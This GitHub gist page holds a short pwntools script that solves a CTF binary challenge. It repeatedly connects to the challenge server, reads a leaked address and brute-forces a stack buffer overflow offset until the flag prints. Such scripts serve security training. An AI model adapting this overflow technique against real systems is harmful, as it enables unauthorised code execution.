Skip to content

Instantly share code, notes, and snippets.

@jktrn
Created June 13, 2022 20:34
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Embed
What would you like to do?
Solve for the pwn/binary challenge "Warmup to the Dark Side" from the Space Heroes CTF competition.
from pwn import *
for i in range(32,128):
p = remote("0.cloud.chals.io", 30096)
address = p.readlineS()[112:126]
log.info("Trying offset " + str(i) + " for address " + address)
p.sendline(b'A'*i + p64(int(address, base=16)))
output = p.recvallS()
if "shctf" in output:
log.success(output)
break
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment